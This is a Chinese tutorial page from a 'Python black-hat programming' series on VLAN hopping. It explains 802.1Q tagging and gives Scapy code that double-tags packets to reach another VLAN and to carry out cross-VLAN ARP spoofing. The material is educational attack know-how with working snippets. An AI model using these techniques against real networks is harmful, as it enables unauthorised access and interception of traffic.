iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >Python黑帽编程 3.4 跨越VLAN详解
  • 518
分享到

Python黑帽编程 3.4 跨越VLAN详解

详解PythonVLAN 2022-06-04 18:06:09 518人浏览 独家记忆

Python 官方文档:入门教程 => 点击学习

摘要

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

查看图片

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

查看图片

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

查看图片

图4

下面我们可以编写一个跨VLAN的ping请求了。


#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / 
Dot1Q(vlan=1) / 
Dot1Q(vlan=2) / 
IP(dst="192.168.13.3") / 
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的Mac和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。


def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:


pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对编程网网站的支持!

--结束END--

本文标题: Python黑帽编程 3.4 跨越VLAN详解

本文链接: http://www.lsjlt.com/news/14123.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 翻转Python魔术帽:理解元编程的哲学
    Python元编程,也就是所谓的“代码操控代码”,是一种强大的编程范例,它允许程序员在运行时创建和修改代码。这一特性,使Python能够比许多其他编程语言更加灵活和动态,也使得Python进入到了一个具有更高层级的抽象境界。 元编程可以...
    99+
    2024-02-14
    Python 元编程 代码生成 动态类
  • Python Socket编程详解
    目录背景TCP和UDP协议本质上的区别?TCP/IP协议栈、HTTP协议、Socket之间的区别和联系?TCPSocket服务器的通信过程?socket和websocket之间的联系...
    99+
    2024-04-02
  • Python GUI编程详解
    目录Python GUI编程0.创建窗口1.Label和Button的使用2.Entry和Text的使用3.Grid网格布局4.Frame框架5.messagebox消息框6.下拉框...
    99+
    2024-04-02
  • C++ 函数模板详解:超越语言限制的编程
    函数模板是 c++++ 的强大特性,可创建适用于多种数据类型的可重用代码:语法: template 指定模板类型参数 t。实战案例: max 函数模板返回两个值的较大值,适用于多种数据...
    99+
    2024-04-28
    c++ 函数模板
  • Python线程编程之Thread详解
    目录一、线程编程(Thread)1、线程基本概念1.1、什么事线程1.2、线程特征二、threading模块创建线程1、创建线程对象2、 启动线程3、 回收线程4、代码演示5、线程对...
    99+
    2024-04-02
  • 详解python之异步编程
    目录一、异步编程概述二、python的异步框架模型三、顺序执行多个可重叠的任务四、异步化同步代码五、使用多线程克服具体任务的异步限制总结一、异步编程概述 异步编程是一种并发编程的模式...
    99+
    2024-04-02
  • python程序编程代码大全,python编程代码详解
    大家好,本文将围绕python程序编程代码大全展开说明,python编程游戏代码是一个很多人都想弄明白的事情,想搞清楚python代码大全简单需要先了解以下几个事情。 1、python编程例子有哪些? python编程经典例子: 画爱心表...
    99+
    2023-09-08
    pygame 开发语言
  • python网络编程之进程详解
    目录1.进程1.1进程:1.2在python中创建进程1.3 使用multiprocessing创建进程1.3.1 单个进程时: 1.3.2 多个子进程时:1.3.3 自定...
    99+
    2024-04-02
  • Python多线程编程入门详解
    目录一、任务、进程和线程任务进程线程进程和线程的关系二、Python既支持多进程,又支持多线程Python实现多进程Process进程类的说明Python实现多线程线程类Thread...
    99+
    2024-04-02
  • Python 面向对象编程详解
    Python 面向对象 方法没有重载# 在其他语言中,可以定义多个重名的方法,只要保证方法签名唯一即可。方法签名包含3个部分:方法名、参数数量、参数类型。 Python 中,方法的的...
    99+
    2022-12-30
    python面向对象程序设计 python面向对象的三个基本特征 python面向对象编程简单例子
  • C++ 函数模板详解:跨平台编程的理想选择
    函数模板允许创建跨不同数据类型的通用函数代码,使其成为跨平台编程的理想选择。它使用模板参数指定函数操作的数据类型,并根据使用的特定数据类型实例化函数。例如,计算最大值的模板函数可用于整数...
    99+
    2024-04-27
    c++ 函数模板
  • Python数据库编程之pymysql详解
    目录python数据库编程之pymysql一、pymsql的安装二、连接数据库三、创建和管理数据库四、创建和管理表总结Python数据库编程之pymysql 学习之前务必安装MySQL并已启动相关服务。 一、pymsql...
    99+
    2023-05-05
    Python数据库之Pymysql Python Pymysql
  • 详解python的网络编程基础
    目录一.什么是网络编程二.socket1.socket的基本语法2.与socket有关的一些函数服务端函数客户端函数公共函数三.程序需求服务端分析客户端分析四.代码升级加上通信循环&...
    99+
    2024-04-02
  • Python多线程编程之threading模块详解
    目录一、介绍二、Python如何创建线程2.1 方法一:2.2 方法二:三、线程的用法3.1 确定当前的线程3.2 守护线程3.3 控制资源访问一、介绍 线程是什么?线程有啥用?线程...
    99+
    2024-04-02
  • Python编程应用设计原则详解
    目录1、单一职责原则SRP2、开闭原则OCP3、里氏替换原则(LSP)4、接口隔离原则(ISP)5、依赖反转原则(DIP)最后的话写出能用的代码很简单,写出好用的代码很难。 好用的代...
    99+
    2024-04-02
  • Python爬虫中的并发编程详解
    目录并发编程在爬虫中的应用什么是并发编程并发编程在爬虫中的应用单线程版本多线程版本异步I/O版本并发编程在爬虫中的应用 本文将为大家介绍 Python 中的多线程、多进程和异步编程,...
    99+
    2023-05-18
    Python并发编程 Python爬虫
  • Python编程入门基础语法详解
    一、基本概念内置的变量类型:Python是有变量类型的,而且会强制检查变量类型。内置的变量类型有如下几种:浮点float_number = 2.3复数complex_number = 1 + 5j整型integer_number = 1li...
    99+
    2023-06-02
  • 带你详细了解Python GUI编程框架
    目录1. GUI编程类关系图2. 常用组件方法3.GUI面向对象写法总结1. GUI编程类关系图 我们来看看Tkinter 的GUI组件关系图 重要说明: 1.上述图表示的是相关类...
    99+
    2024-04-02
  • 详解Python函数式编程之装饰器
    目录一、装饰器的本质:函数闭包(functionclosure):二、装饰器使用方法:保留函数参数和返回值的函数闭包:三、多个装饰器的执行顺序:四、创建带参数的装饰器:总结一、装饰器...
    99+
    2024-04-02
  • leetcode必备技能:Python异步编程详解
    Python异步编程在近年来越来越受到开发者的关注,尤其是在LeetCode等算法题目中,异步编程已经成为必备技能。那么,什么是异步编程呢?为什么它在算法题目中如此重要?本文将为大家详细介绍Python异步编程的概念、实现方法及其在算法题目...
    99+
    2023-06-16
    leetcode 日志 异步编程
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作